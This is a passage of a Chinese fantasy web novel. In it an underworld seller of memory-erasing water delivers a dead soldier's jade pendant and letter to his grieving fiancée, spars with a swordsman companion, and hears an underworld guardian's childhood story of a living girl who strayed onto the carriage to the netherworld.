“曲家小姐?”孟梨食问。
“不!”对方吓得浑身痉挛,一个劲后退,背部死死抵住肮脏的墙面,“我不是,我不是……”
“我不是来抓你的。”
孟梨食放缓了声音道。
对方颤巍着抬起头,看见一张陌生的脸,察觉到不远处还有人,扭头去看,看见一个抱着孩子的男子,和飘在男子身旁的一团魂……
魂!
她像是明白什么,一把抓住面前的女子,像抓住一场梦般,不敢松开手,“你,你是卖水人吧,是吧……”
孟梨食终于明白一切,记起自己曾经做的一切,回道:“我是……”
女子一把扑向她,死死攥紧她的衣裳,“我是不是喝了你的水?”
她期待地看着孟梨食,眼眶通红,嘴唇发颤道:“我一定是忘了什么,他们都不告诉我,你告诉我,我是不是忘了什么?”
她的目光太过执着,哪怕孟梨食后退一点,她都会逼视着靠前,不得到回答不会挪开视线。
她的神经太过紧绷,思绪已经混乱,喃喃道:“我总觉得自己忘了什么,忘了什么很重要的东西,到底是什么东西……”
对方确实喝了她的忘情水,但身为卖水人,孟梨食不该说出来,况且,忘情水是没有解药的,说出来,对方也许会受到更厉害的打击,但……
她还需要将玉佩和信件交给她,告诉她有个人被埋葬在景都,那个人到死都在念着她。
孟梨食任对方紧紧攥着自己衣服,她眼神落在一旁被污泥沾染的小草上,不知该如何开口。
小魂也看出情况不对劲,一把昏睡粉撒出,那女子缓缓闭上眼,倒进孟梨食怀里。
“这是怎么回事?”它问,“她真喝了你的忘情水?”
孟梨食点头。
“那……”小魂后一秒反应过来,意识到孟梨食身处的为难境地。
“明天她就要成婚了。”它说,“但显然,她不爱成婚的对象,她心里还记挂着那个人,连忘情水都没能完全发挥效用。”
孟梨食全身心都在难受,她维持着蹲着抱着对方的姿势,腿部麻得厉害。
她隐约记得,她遇见对方时,那不过是两年前。
60. 未归人与待归人(2)
两年前,她才被孟婆扔到人间卖忘情水,为了尽快完成任务,连用忘情水和五岁孩子换糖葫芦的事都干过。
那时的她,为了卖忘情水什么规矩都可以忽视,所以在一户人家要花大价钱买水时,她二话不说同意了,但为了走流程,还是问了一句喝水人的故事。
曲家有个备受宠爱的女儿,叫曲令仪,而这曲家小姐有个约定终生,也是被曲家认可的男子,叫谢揽辰,顾家小儿子。
两家门当户对,乐得促成这桩婚事,约好来年便举办婚礼,奈何那段时间晟国和俞国冲突得厉害,婚事被耽搁了。
那时的俞国出了位猛将,将晟国军队打得节节败退,好在晟国也出了位厉害将军,叫赵声,赵家小儿子,据说是从被称为人间地狱的隐机楼出来的。
晟国军队士气大涨,谢揽辰亦是激动异常,他本就是将军府里出来的人,自幼习武练功,刀枪棍棒都不陌生,闻此消息义不容辞,跟随这位将军踏上了战场。
出征那天秋风萧瑟,古道旁的树枝上已经落尽了花,叶子也泛着枯黄。
曲令仪送到了城门外,将不舍写尽在脸上。
谢揽辰抱着她,不舍地松开手,道:“回去吧,外面风大。”
“玉佩戴着吗?”曲令仪仰头看他。
“戴着呢。”谢揽辰勾着勃颈处的红线,将那半块环形玉佩露出来。
“回去吧,别受凉了让我担心。”他后退着,翻身上马,动作干净,身姿飒爽。
曲令仪裹紧了衣袍,秋风还是将她发丝吹得飞扬,更是将她鼻尖吹得泛红。
“嗯,你放心去吧。”
谢揽辰倒转马头,朝她笑道:“等我赚取军功,八抬大轿迎你过门。”
曲令仪脸庞微红,努力佯装生气道:“这种空口白话我不爱听,我只看行动,你要是不好好的回来,我便嫁给别人去。”
“知道了。”谢揽辰笑道,扯着缰绳,控制恨不得拔腿腾飞的骏马,“我不会把你让给任何人。”
说完,他一夹马肚,任身下骏马撒野似的狂奔起来,将那人远远的留在身后。
曲令仪视线追随着对方而去,直到浩浩荡荡的军队消失在山野中。
“骗你的,我只嫁给你。”她赌气似的,轻声道。
两国战事旷日持久,未见分晓,时时俞国赢下一场,占据高地,又被晟国打下,夺过旗帜。
战事胶着,硝烟弥漫在这两个国家之上,最是将人民压得喘不过气来。
曲府前院被紧张笼罩,听说是战场上传回消息,曲府的门客都被召了过去。
曲令仪待在后院,在秋千上一下一下地晃着,视线在面前开得锦簇的花上扫过,落在开春后飞回来的燕子上。
“小姐!”
曲令仪猛地从秋千上跳下,朝声音奔去,丫鬟也正急急跑来,跑得上气不接下气。
“快,告诉我前院是什么情况!”曲令仪焦急地在原地跺脚。
“信……”丫鬟拿出一封信,“谢、谢小将军……寄给小姐你的信。”
曲令仪接过信,心脏砰的剧烈跳动一下,握着信的手轻轻颤抖着,打开信的动作因太激动而显得笨拙。
将信展开,她快速将上面内容浏览一遍,没有意料之外的意外,提起的心半放,将信上内容慢慢地又看了一遍,一个字一个字地看。
丫鬟紧张地观察自家小姐的神色,见对方紧蹙着眉,缓缓的,眉头舒展开,终于露出笑。
她松了口气,说:“老爷让您尽早写好回信,明日早会有人一起送过去。”
曲令仪回过神,“我这就去写!”
她跑回闺房,拿纸铺在桌上,飞快地磨好墨,提笔,落笔。
“……谢小将军当真神武,带着五百人便能将敌方上千人逼至关山坡险境,可将军在前方英勇杀敌,可曾记得国都中有一人在牵挂着你?”
“烦请谢小将军下次以身入险境追敌前想一想那个牵挂你的人,你自然是希望赚取军功大大的,可我只愿你好好的……”
“……天气回暖,春天到来,你去年送我那盆花开得正好……”
“……我在家中安好,你放心,你也要照顾好自己……”
“……我在学着做婚服,也在等你回来……”
“然后呢?”见对方停下,小魂紧跟着问。
“为什么要我来说?”孟梨食反应过来,不满道。
“快说快说。”小魂催促着,身旁的江余客与他怀里的孩子皆是一脸认真。
江余客突然反应过来,抬手将孩子的耳朵捂住。
“爹——”江黎客覆住江余客的手,想将其扒拉下来,一张小脸都在使劲,耳朵上的手却纹丝未动。
孟梨食叹了口气,要不是抱着个人腾不出手,她真的很想摊手,“结局不是注定了吗?”
有些悲剧在最开始就写下了,故事中间再怎么甜蜜快乐又如何?不过是衬得那悲伤更加剜心罢了。
那是一场旷世一战,虽还未能分出胜负,却使晟国大失血。
那场大战恰逢三夜暴雨,俞国借着地势占据峡谷高处,用洪流与石块轰击下方的晟国军队,令其死伤惨重。
也是在那一战中,谢揽辰失踪了,生死不明。
今日曲府安静异常,明明谁都没说话,却莫名让曲令仪心慌,说不出来的感觉。
她派丫鬟去前厅打听消息,后者回来后却是摇头,只说什么事都没发生,可她那神情,可不像什么都没发生的样子。
曲令仪急了,拉着对方的衣袖,“到底发生了什么呀,你说啊!”
丫鬟咬着唇不说话,就在这时,一个妇人走过来,朝她挥手,“下去吧。”
“娘!”曲令仪如见救星,连忙拉住对方,问:“发生了什么事?是战场上传来了消息吗?有揽辰消息吗?”
“女儿,娘与你说件事,你可得千万要受住。”说着,曲母先抹了眼泪。
曲令仪整个人愣在原地,她隐隐猜到什么,人,就是能对不好的事情猜的极准。
“女人,揽辰他,他没了。”曲母低低哭泣着。
“没……了?”曲令仪如遭雷击,整个人都晃了晃,曲母眼疾手快将她扶住。
“娘,这是什么意思?”她强撑着问。
曲母只得将那场战场说了,最后,谢揽辰被洪流冲走,至今生死不明,已有半月。
对方半月前便消失,军中也派了人去寻,寻了半月依旧未果,才敢将消息传回来。
“可是,娘,他与我约好了,约好……”
她话渐渐弱下去,是呀
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,其实她早就知道不对的了,她一直与对方互通信件,一月一交换,按理来说,半月前她就该收到对方寄来的信了,可是到现在……
到现在她都还没收到啊。
曲令仪眼前一黑,倒了下去。
这一倒,便患了病,病得人神志不清,眼睛睁着,说自己看见谢揽辰回来了,就坐在床边,将前来侍奉的丫鬟吓走一个又一个。
曲家小姐病了,疯了。
曲父曲母实在是没辙了,才去求得卖水人一碗忘情水,让女儿忘掉那个人,只求她能好起来。
他们知道,她患的是心病,须得忘掉那个人才行。
饮下忘情水后,曲令仪昏沉两日,精神渐渐好了起来,一切都回到之前的样子,所有人都将那个名字封在心底,闭口不谈。
只有一日,两个丫鬟偷偷聊天时说漏了嘴,被经过的曲令仪听见。
后者脑子一懵,眼前出现一阵恍惚,恍惚中好像看见个男子,那男子在对自己笑,在满心满眼地看着自己……
可她,分明不认识对方啊。
“大胆,冲撞小姐,拖下去杖毙!”身旁的丫鬟像为了掩盖似的,急忙下令。
曲令仪被对方骤然放大的声音惊回神,发觉自己满脸的泪水。
“好奇怪,我为什么要哭呢?”
后来,她记住了这个名字,虽不知这三个字分别是哪三个字,但就是记住了。
她也到处询问,但所有人都表示没听过这个名字。
曲令仪开始怀疑,怀疑自己忘记了什么,于是她在阁楼里查是否有种病会忘记一些东西,以及该如何治疗。
就在这无数次的翻书查找中,她知道了世间有一卖水人,其卖的忘情水能让人忘记悲伤的事物。
再后来,爹娘为了让她完全忘记那个人,投入到新的生活,为她安排一桩婚事。
不知为何,明明她知道未婚夫容貌上乘,品行端正,文质彬彬,更是在户部担职,再优秀不过,但她就是不愿意,也是说不清道不明的感觉。
她精神又渐渐差了起来,直到今夜,也就是大婚前一晚,她精神彻底崩溃,她肯定,她忘掉了一个很重要的人,她不能成亲。
于是,她逃出来了。
“整件事就是这样。”孟梨食道。
江余客松开捂住江黎客的手,将对方抱起来。对方撅着小嘴,生气得小脸蛋都鼓了起来。
“她就要醒了,你决定怎么办?”小魂问孟梨食。
“我不会直接回答她,答案要她自己去寻。”她刚说完,察觉靠在自己肩上的人动了动。
曲令仪醒了过来,一抬头看见孟梨食,脑子转了几秒,道:“卖水人,我在你这喝了水,对吗?”
“……我不能回答你,但是,有人托我给你带样东西。”
孟梨食扶着对方站稳,从乾坤袋中拿出半块环形玉佩和一封信。
“玉佩……”曲令仪伸出手,却畏惧着不敢去接,她摸向自己脖颈,拿出一块几乎一样的玉佩,她捂住嘴,泣不成声。
“有个人被埋葬在景都,你去到哪里,找一个叫作闻风的吹箫者,他会带你去。”孟梨食将东西递给她,又道:
“我会给你盘缠,给你安排好马车。”
她最多也只能做到这了。
61. 育儿日记(2)
嘱托完成,之后的路程也不必如此赶,江余客驾着马车,离开了晟国国都,准备在周边城市逛逛。
是得离开,孟梨食也不希望曲府里的人知道自己来过。
刚出国都城门,小魂语调上扬“哦”了一声,对孟梨食道:“有生意。”语气中却未见喜悦。
“怎么回事?”孟梨食问。
“等一下哈。”小魂撩开车帘,四处张望,目光锁定在前方山脚处,对江余客道:“咱们去那。”
江余客虽是不解,却也听见刚才两人的对话,在下个路口时一扯缰绳,驾着马车朝对方指的方向奔去。
小魂撩开车帘回到车厢内,神情异常严肃。
看来这桩生意和以往的有些不同,想来也是,毕竟孟梨食都不知道发生了什么。
“怎么,是你熟人?”孟梨食将江黎客从大腿上放下,顺手给他塞了个玩具。
“千水,记得吗?”问完,小魂自己先摆手,“算了,你肯定不记得,他是黄泉路的看守者。”
黄泉路两旁是延伸出去的彼岸花圃,也是小魂的管辖地,自然而然,它与对方熟络,或者说,它是看着对方长大的。
不过孟梨食一般待在奈何桥那,距离黄泉路太远,除了有时发癫来给小魂捣乱,一般是不会过来的,不知道这个人也正常。
小魂刚这么想,却见孟梨食恍然道:“哦,有点印象。”
记起来后她更奇怪了,“他要买忘情水?他应该就在地府啊,去孟婆府那拿一碗就是了,那什么水没有?”
“等等!”孟梨食凝神片刻,眉头一挑,按她以往经验猜测道:“人魂之恋?”
见对方不说话,孟梨食心中猜出大半,后靠着车壁,“那难怪了。”
不过……她思忖着,这一人一魂怎么认识的,莫不是对方也像自己一样被扔来了人间?
“娘,这个泥人像爹。”江黎客捧着玩具给孟梨食瞧。
孟梨食默言两秒,在他脑袋上轻轻拍了拍,叹口气道:“你爹腿没这么短。”
她一抬头,见小魂一脸古怪地看着自己。
“算了。”小魂甩甩脑袋,正色道:“说正事。”
它缓了一秒,道:“你知道开通了连接人间与地府的马车吗?”
“啥?”孟梨食一下子坐直了。
江黎客被惊了一惊,扭头看去,声音稚嫩地模仿道:“啥?”
小魂补充道:“十多年前的事了,那时候你还在地府老老实实熬孟婆汤呢,自然不会去关心这些。”
孟梨食惊得说不出话来。
小魂解释道:“就是为了减轻黑白无常的工作量,将一处地方的魂集中起来,一次性送去地府。”
当初听闻这个决定的时候它还觉得蛮新奇的,它看向依旧满脸震惊的人,道:“也许很多年后,马车被改变,换成了其他更有效的运输工具,它依旧存在。”
孟梨食可懒得去想千百年后,她一把将魂揪住,厉声道:“这种事你怎么不早点给我说,那我还卖什么水,我直接坐车回地府不好吗?”
江黎客忙扒拉住她手臂,急的要跳起来,“娘,这样魂叔叔疼!”
孟梨食眉头微皱,将魂松开,对方是一团魂,被这样抓住并不会感受到疼痛。
小魂看着小小的人,感动得一塌糊涂,就要给他一个大大的拥抱,被一条手臂拦住。
江黎客看着僵住的氛围,眨巴着眼睛,将脑袋放在面前的手臂上,侧过头,对着孟梨食甜腻腻地喊:“娘~”
一下子,孟梨食心中的气全泄了去,她将人抱在怀中,也不说话。
她很少情感外露,也许,她心中的情感本就不多。
“你坐马车也回不去地府,有结界呢。”小魂凉凉补充道。
就在这时,马车缓缓停下,江余客在前面喊:“到了。”
小魂可不敢继续与对方待在这处小小空间内,闻言嗖的一声蹿了出去。
江余客撩开帘子,看向车厢内的人,眼帘微垂,藏进无限心事。
孟梨食被对方看得心里怪怪的,好像自己是个辜负对方真心的负心汉般。
“下去吧。”她微不可察地叹了声,将孩子递给他,自己从另一边跳下马车。
现在正是下午,太阳半落山腰,倦鸟急着归巢。
“要等等。”小魂在这片空地上转了一圈,瞥了眼壮烈坠下的太阳,说:“通往地府的马车要在月亮升起后才会出现。”
路程看起来挺远,没想到这么快就到了,小魂自己也有些意外,便提议道:“再往前走几里有个村子,要不要去那看看?”
“一个村子有什么好看的,还是在这等着吧。”孟梨食回道。
村子又不比小镇,有客栈酒肆,现在正是下午时,农人大都扛着锄头归家,与家人美美用饭,何必去打扰。
此时的孟梨食戾气还挺大的,小魂不敢触霉头,早就飘到远处去了,顺便操心一下那个孩子。
江余客将孩子放下,将马车安置在一棵老树下,孩子跟在他身后,对他的一举一动都好奇。
山脚下有一条宽阔的道路,道路一旁是被绿色渲染的草地,往里走便是葱绿林子,道路另一边也是稀稀草地,延伸出去便能看见零星几座小屋,小屋前是一条浅浅窄窄的溪流。
也难怪此地会是马车出现的第一地点,看起来是在荒郊野外,实则四处都有人家,哪家死了人,魂也好收集。
孟梨食收回视线,扭过头,便见江余客和江黎客蹲在树前,江余客正在教江黎客如何在野外生火。
“我会了,下次我来生!”江黎客刚兴奋说完,一道阴影打在身上,他仰起头,看见来人,更加兴奋了,一转身将人抱住,仰着小脸道:
“娘,我会生火了!”
孟梨食看向江余客,后者心虚地扭过头。
她坐在一旁,对孩子道:“你没必要学这个。”
“要!”江黎客忙道,“我以后要成为像爹这样厉害的侠客,闯荡江湖。”
孟梨食太阳穴狠狠一抽,朝江余客看去,后者无辜地举起手。
天地良心,自上次与她谈话后,他就没在孩子面前说过这类话了,反而,他会给孩子介绍各种职业,培养孩子兴趣,但奈何对方就是想当侠客啊。
江黎客为了证明自己的决心,对江余客道:“爹,我木剑呢?”
江余客起身从马车上把他木剑拿下。
江黎客两只小手握紧木剑,身形晃了一下,对孟梨食道:“娘,爹教我的剑法我已经学会了。”
眼见孟梨食再次投来视线,江余客连忙自救:“没有,是我练剑的时候他偷看的!”
孟梨食呵呵一笑,显然没信他的鬼话,她朝江黎客伸手:“来,把剑借给娘用一下。”
对方将剑递出,好奇道:“娘也会用剑吗?”
孟梨食站起身,气极道:“打你爹绰绰有余。”
江余客一怔,还没消化完对方说的话,却见孟梨食随手挽了个剑花,飒的一声横剑在他脖子前
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他猛地回过神,见对方扯着笑道:“来,我陪你练剑。”
江余客扶着腰间的轩辕剑,想了个理由拒绝:“你这是木剑,我这是轩辕剑,即使是对练也不公平。”
闻言,数道红绳从虚空中涌出,将孟梨食手中的木剑缠绕,直至不见底下一丝木色。
“来吧。”孟梨食朝他抬抬下巴。
江余客沉默着,江黎客在一旁挥手道:“娘,加油!爹,加油!”
“好吧。”江余客终是站起身,将剑抽出,还未等他做好准备,一道风忽的劈来,他下意识闪身避过,余光只见一道刺眼的红色。
反应倒是挺快……孟梨食嘀咕一声,抬剑再次劈来。
江余客执剑抵挡,剑身相碰,发出刺耳轰鸣,仿若雷霆在耳畔乍响。
当——
两人同时被余波震开。
江余客眼中满是惊讶,没想到对方拿着一把被因果线缠绕的木剑,竟然能与拿着轩辕剑的自己实力相当。
孟梨食神色紧绷,实则虎口已经被震麻了,她到底不是练家子,这样已算是极限,但因果之力,这才是真正厉害的。
怎么样气势也不能输,孟梨食握紧剑,一根红线从手腕处生长出,将她手掌与剑柄绑紧,同时将灵力输送到剑身,整个人握着剑再次逼上对方,招式凶猛,毫不留情。
江余客不得不打起十二分的精力应对,轩辕剑身猛地绽放金光,金光瞬间炸开,将空气震出涟漪,余波一圈圈扩散出去。
同时,缠绕在木剑上的因果线被震动得散开,松松拉拉地挂在木剑上。
孟梨食毫不在意,举剑狠利一挥,剑身上的因果线被狠狠甩出,鞭子似的,打在空气中发出破空声响,打在轩辕剑身上,发出被火焰灼烧的嗞啦声。
其中一条打在了江余客身上,像回到归宿般,融进他体内。
两人全身心在剑身上,压根没注意到这点。
江余客挥着剑,将甩来的因果线一剑斩断,横剑前劈!
孟梨食侧身避过,剑身上断掉的因果线簌簌掉落,其下的木色显露出来。
这些因果线不但能化作鞭子,甩在空中也会干扰他视线,且,一把木剑能有如此威力,也全是这因果线的原因,江余客立马下了决定,他得将其完全斩断。
就在两人招招式式,一来一往间,木剑上的因果线掉了个尽。
最后,江余客横剑劈去,剑身落在孟梨食脖颈前,停了下来。
孟梨食满脸不爽,但胜负已分,她也不是泼皮耍赖之人,便道:“你赢了。”
她说完,见对方没有回话,脖子前的剑也没有放下,不由怒道:“怎么,你还想我跪下求饶,信不信……”
她话顿住了,视线与对方的混在一起,落在连接在两人身上的红线上,唯一的,没有被江余客斩断的因果线。
别说江余客,孟梨食自己都愣了又愣,她抬手想把线抽回来,竟然发现抽不动!
她瞳孔地震,好像意识到什么,忙挥手,将因果线隐身。
她腿部猛地被抱住,一低头,对上江黎客仰起的小脸。
“娘,别难过,你也很厉害。”
孟梨食僵硬着手,在孩子头顶摸了摸。
江余客收回剑,思绪混乱,呆愣地走到火堆旁,发现火早已灭了,只有点点火星还在闪烁着。
太阳已经落下,月亮渐起。
“马车来了!”
小魂远远地跑来,兴奋地朝两人呼喊。
62. 通往地府的马车(1)
各自思绪混乱的两人瞬间抬起头,朝小魂看去。
江余客将火星彻底踩灭,抱起江黎客,与孟梨食跟着小魂朝前跑去。
绿得浓郁的草地上,渐被黑暗染透的树林中,一扇被无数紫色星光凝聚而成的圆门浮现。
江余客将江黎客抱在怀中,眼里倒映着梦幻的浮动的星粒。
江黎客好奇地伸出手去触碰这星点,嘴巴好奇地张开着。
哒哒哒——
马蹄声就响在前面,车轮滚动声从圆门中传出。
先是马头从荧光中浮现,接着马身、车身紧跟着钻出银河星群般的门,这扇通往人间的地府之门。
拉车的两匹马与寻常所见的不同,骨骼暴露在众人视野中,荧白色,血肉是浓密的无数紫色星点,但渐渐的,紫色星点化为了血肉,再真实不过的血肉。
“车上没人?”孟梨食左右打量着马车,绕到了另一面,视线一晃,穿过星群,落在了抱着孩子的江余客脸上。
咦,对方这眼神……
江余客半垂着眼,视线轻轻落在孟梨食脸上,眼眸明亮,不像盛着星光,倒像是泪光晶莹。
他微抿着唇,将侧脸挨在怀里孩子胸口处。
孟梨食看得心脏一紧,旋即满脑子问号,啥意思啊这是,难道我哪次喝醉了把他给那个了,醒来后什么也没记得拍拍屁股走人了?
天啦天啦……
她“天啦”半天,思绪突然一偏——她以前怎么没发现对方长得还挺不错?尤其是抱着孩子的时候……
小魂的声音及时打断了她的思绪,对方对着车厢道:“千水,出来吧。”
帘子应声被掀开,一个青年躬身出来,跳下马车。
“魂。”千水朝小魂拱手行礼,视线四晃,从江余客和江黎客脸上晃过。
小魂轻咳一声,提醒道:“在你后面。”
千水转过身,朝站在马车另一边的孟梨食拱手道:“孟大人。”
孟梨食努力将面前之人与记忆中那个孩子对上,她与对方也不过见了一两次,唯一还回忆得起来的,就是她在彼岸花圃里翻找据说能解忘情水效果的橙色彼岸花时,遇见过在花圃里玩耍的两个孩子,其中一个就是对方。
她收回神,朝对方点头,走过来,奇怪道:“我还以为马车里会用黑白无常呢。”
她话中带着些小庆幸,眼轱辘转着,很明显在谋划什么。
小魂知道对方还没死心,哪怕自己明确说了,罢了,就让对方去撞一下南墙吧。
“哦,这辆马车从地府通往人间,黑白无常会在门另一边,魂亭前一段路出现。”千水回道。
“这样啊……”孟梨食拖长语调。
小魂忙道:“赶紧开始正事吧。”
“知道了。”孟梨食摆手,看向千水,道:“我的规矩你应当知道,你的故事是什么?你想让谁喝忘情水?”
“我……很小的时候,我遇见一个女孩,她叫枝月……”
那年元宵节,枝月一家挑着做好的各式灯笼,坐着马车去往国都售卖,就在街边支起一个小摊。
枝月待不住,提着一盏兔子灯笼在人群中窜,哪里热闹往哪里凑。
夜色浓郁,华灯将这座城点缀得绚丽异常。
小孩子到底熬不住夜,枝月又疯玩太久,疲惫感一下子漫上来。她拉着娘的衣袖,喊困。
摊上的灯笼还没卖完,一年就这么一次多赚钱的机会,爹娘不愿放过。
娘拉着枝月的手,带着她穿过人流,找到一位在马车前与他人交谈的男子。
枝月直打哈欠,她左手被娘牵着,右手紧提着她的兔子灯笼,眼皮忍不住下垂,迷迷糊糊的,听见娘在与人说话。
“赵大哥,这趟什么时候走啊?”
赵叔家有辆马车,平日就负责村里和国都之间接送人。
“马上就走,你们回去这么早啊!”
“是枝月,害呀,小孩子困了,还得麻烦你先带她回去,我们得忙到好半夜呢。枝明就在家中,来,车钱。”
赵大哥将钱接过,蹲下看着困得睁不开眼的枝月,唤了声。
枝月努力撑开眼睛,又闭上,没应。
“这孩子,困成这样。”赵大哥轻笑一声,对枝月娘道:
“将孩子放里面吧,别担心,待会我提醒其他人不要挤到孩子。”
枝月睡着了,耳边细细的谈话声逐渐远去,马车滚动声也就响起一会,很快就消失了。
不知睡了多久,她伸了个懒腰,望着四周,愣了一下,马车内并没有其他人。
她喜欢去国都玩,也常在晚上坐这辆马车,清晰记得夜晚的马车内是很昏暗的,但现在的视野却是一片明亮,仔细看,好像马车的每一块木板都是由无数暗紫色星光组成。
但最重要的是,马车内除了她没有其他人。
她用睡迷糊的小脑袋想,也许其他人已经到家了,那我什么时候到家呢?
她撩开车帘,想问一下驾车的赵叔,却发现车前压根没有赵叔的身影,只有两个穿着一身黑一身白的人。
“……啊!”枝月惊叫。
驾车的两人回过头,看见她,身穿黑衣的男人跟着惊叫起来:“啊——活人!”
穿白衣服的男人忍住了没有尖叫,但睁大的双眼暴露了他此时何其大的震惊。
“天啊天啊,为什么马车里会有活人?!”
要不是黑衣男子手里还抓着缰绳,他都要狂挠头发了。
枝月满心都是被人牙子抓了的恐惧,压根没注意对方话中奇怪的词汇。
“等等!”白无常抬手制止两人的尖叫,“都冷静一下。”
尖叫渐渐平息。
白无常看向枝月,脑子里斟酌着词汇,要怎么说才不会吓到这个小姑娘,哪知他身旁的傻子直接问道:
“你没死怎么上的马车?”
枝月打了个冷颤,“什、什么?”
白无常反手给了黑无常一拳,厉声道:“好好驾车!”
他扭过头,轻呼了口气,面上沉静下来,鬼知道他心脏跳得有多剧烈,好像会从胸腔内跑出来似的。
“小姑娘,我们不是坏人,这是个意外,我们会将你安全地送回家的。”白无常努力放缓声音道。
枝月瑟缩着,紧紧抱着兔子灯笼,“真的吗?”
“真
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的,但要等一会。”
白无常想了想,好吧,他想不到什么谎言来掩盖这一切,只得实话道:
“这辆马车通往地府,但会在第二天天亮前再次去到阳间,也就是,嗯,你需要去地府做客,但我们保证会把你送回来的,安全地送回来。”
他说完,见面前的小姑娘一脸茫然,也不知道有没有理解自己说的话。
枝月:“地府……”
“但你没死,没有,你只是不小心进来了,再出去就好了,没什么大不了的。”白无常努力扯出笑来,只是笑容僵硬。
一旁的黑无常嘀咕道:“麻烦可大了。”
闻言,枝月点点头,憋着小嘴缩在马车一角。
“来,我抱着你,待会会有人上车。”白无常朝她伸出手。
身处这个境况,枝月知道自己没有什么拒绝的权利,她也害怕把面前这个看起来温柔的男人惹生气,要是惹生气了不送自己回家就不好了。
她走过去,被白无常扶着坐在两人中间。
来到外面,她才清晰地看见周围的环境,意料之内的黑暗,暗色浓稠,只能努力看见一些树木的轮廓,伸长着,像什么鬼魂张开了利爪。
枝月吓得收回视线,全身发抖。
白无常低头看了一眼,僵硬地将对方揽住,将手放在她额前挡住前方吹来的寒风。
很快,一座破败的亭子出现在视野中,马车徐徐停下。
亭子里站着三个人,黑无常朝他们扬下巴,“上来吧。”
枝月下意识要去看那些人,眼睛被一双微凉的手盖住,白无常的声音在耳边响起:“别看。”
他轻轻扳过她身子,说:“再过会马车会停在黄泉路口,你就在路口那里等着,等到要天亮了我们就会来带你回家。”
“我以为你会带她去鬼市呢。”黑无常扯动缰绳,马车再次向着前方的黑暗前行。
白无常微皱眉,那种地方云龙混杂,邪恶至极,即使有自己保护,也不适合这么小的孩子去。
“我记得几年前黄泉路凝聚出一团小魂。好像是,叫千水吧,和这姑娘差不多大。”
黑无常恍然,“哦,好办法,让千水带这孩子玩,就在黄泉路一带,也没什么危险。”
枝月听着他们的谈话,脑子里多了个人名,千水,他是谁?我要和他一起玩吗?
黑暗渐渐被破开,马车驶进一片黄色中,空气中飘浮着白雾,将一切笼罩,装饰得虚幻。
马车停下,枝月被白无常抱下马车,脚尖触碰到柔软的沙地上。
她被白无常拉着,听见对方在和另一个人说话:“你安排这些魂,我先带她去找千水。”
“知道了。”
枝月还处于茫然之中,还没等她将四周奇异景象好好看看,就被对方拉着穿过面前的雾墙,踏上一条宽阔的道路。
道路上的白雾渐渐散去,路两旁是延伸出去的绿色,竟然是植被,不过是她不认识的植被。
注意到她视线,白无常道:“这是彼岸花圃,彼岸花见叶不见花,或者见花不见叶。”
正好,枝月眺远视线,看见一片绿色外还有一片红色,红得热烈。
63. 通往地府的马车(2)
白无常停下脚步,朝着面前虚无喊道:“千水,千水……”
砰!
面前突然跳出一个孩子,他眨巴着眼睛,看向唤他的人,奇怪道:“白无常大人,你叫我是有什么事吗?”
枝月攥紧白无常的手,视线却全落在了面前的小男孩身上,很精致的一个小孩子,眼睛大大的,说话也很有礼貌。
“这是……”白无常正要介绍牵着的女孩,却突然发现自己并不知道她的名字。
他脸上闪过一抹尴尬,继续道:“是误入地府的阳间人,你带着她在这玩,等要天亮了我再来接她。”
“好。”千水答应着,视线也忍不住落在枝月身上,碰上对方投来的好奇目光,朝她眨眼笑着。
交代好一些注意事项,例如不要离开黄泉路,白无常又给枝月施了个保护结界,便离开了。
望着对方离去的背影,枝月手不安地揪着衣摆,扭过头,见面前的男孩朝她伸出手,笑道:“你好,我叫千水。”
“我叫枝月。”她握住对方伸出的手。
“别担心,白无常大人说了会送你回家,就一定会实现的。”千水认真道。
“嗯。”
察觉对方心情依旧很低落,神情还在紧绷着,千水想了想,突然指着头顶,语气欢悦道:“你看!”
枝月闻声抬头,只见夜空群星璀璨,星子密布。
“哇!”她惊讶地张开嘴,“好多星星!”
枝月呆呆望着,随着一颗红色星辰闪烁而眨眼睛。
黄泉路上流荡着轻微的风,将黄沙轻轻吹起,将薄雾吹散,也将两人的发丝扬起。
看了许久,却依旧觉得怎么看都不够,最终,枝月不舍地收回目光,低下头,突然“诶呀”一声,左手捂着脖子直抽凉气。
“怎么了?是脖子酸吗?”千水下意识想伸出手,在即将碰到对方脖颈时停下。
千水紧抿着唇,“没,没事的,像我这样做就好了,这样慢慢地扭脖子。”
他边说边示范,视线紧紧落在对方身上。
慢慢地,枝月觉得脖子好受些了,只是还有些微不适。
“好点了吗?”
枝月点点头。
千水松了口气,朝她伸出手,“我带你去彼岸花圃里逛逛吧,时间还早,如果累了、渴了,都要给我说。”
“嗯,好。”枝月牵着他的手,轻声道,“谢谢你。”
两人往前走了数步,便见花圃里,一条小道延伸出来。
面前这片彼岸花圃只有绿叶,一眼望去翠绿一片,从黄泉路上看,两旁的绿色浓郁,不惨一点杂色,但其实花圃中有不少蜿蜒小道,最中央,红花与绿叶相接处,还有一块较大的空地。
千水就这样牵着枝月,随着脚下永远蜿蜒,好像永远走不到尽头的小路往前。
枝月好奇地四处张望,视线落在彼岸花的枝叶上,又扫过被黄沙铺了浅浅一层的小径上,最终在面前人的侧脸上停了停。
她轻轻叹了口气,不知道还要走多久,走到何处去,她的脚已经有些痛了。
终于,她脚步停下,任对方拉也不动了。
千水转过身,奇怪道:“怎么了?”
枝月委屈道:“我走累了,我想坐下来休息。”
“啊!”千水这才反应过来自己带着对方走了很远,心中愧疚不已,他四处张望,却没能找到能坐下休息的地方。
“要不,就坐这吧。”他略有些尴尬道。
“啊……”枝月扯着衣摆,满脸的不情愿,她这件衣服是为了今夜的元宵节特地换的,很干净,穿的次数也很少,坐地上会弄脏的。
“那这样吧。”千水双手缓缓抬起,一团淡蓝色的雾被凝出,在脱离手之后肉眼可见的变大。
“哇,这是什么?”枝月双眼睁大,眼见着蓝雾扩展到眼前。
她伸出手,手臂穿进蓝雾,接着整个身体都被蓝雾包裹,有一股力在拖着她,带着她升高。
脚尖渐渐离开地面,枝月缩着腿,整个身体飘在了空中。
“放松放松,别怕别怕。”千水舞着双手。
枝月嘻嘻笑道:“我没怕。”
她好奇地仰头低头看了看,探索着去摸雾的外壁,却极容易地将手探了出去。
千水眼中闪过困惑,旋即了然,碰上她的手,紧紧握住,“没事,我拉着你,不会掉下来的。”
枝月全身放松下来,就这样飘在空中,还挺好玩的,也可以休息。
千水拉着对方,带着蓝雾往下降了降,自己盘腿坐在地上。
枝月小心地在蓝雾上换了个姿势,躺了下来,让漫天星辰倒映在眼中。
她悄悄打了个哈欠,看了眼坐着的人,犹豫两秒,将右手中的灯笼递出,“这个送给你。”
“这是……”
“今天是元宵节哦。”枝月笑道,她的左手仍被对方牵着。
